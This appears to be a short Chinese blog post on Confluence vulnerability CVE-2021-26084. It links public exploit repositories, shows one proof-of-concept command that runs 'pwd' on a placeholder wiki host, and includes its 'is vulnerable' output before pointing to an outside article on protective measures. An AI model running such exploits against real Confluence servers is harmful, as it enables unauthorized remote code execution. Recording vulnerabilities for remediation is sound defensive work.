confluence漏洞CVE-2021-26084处理

2022年2月15日 247点热度 0人点赞 0条评论

0x0 风险问题

参考注入代码:
https://github.com/0xf4n9x/CVE-2021-26084
https://github.com/h3v0x/CVE-2021-26084_Confluence/

注入POC:

python3 POC.py -u "https://wiki.xxx.com" -e pwd

回显结果:

[+] https://wiki.xxx.com/pages/createpage-entervariables.action?SpaceKey=x is vulnerable!
/home/wiki/confluence/bin

0x1 防护措施

http://blog.nsfocus.net/atlassian-confluence/

yuc

这个人很懒,什么都没留下

error: Content is protected !!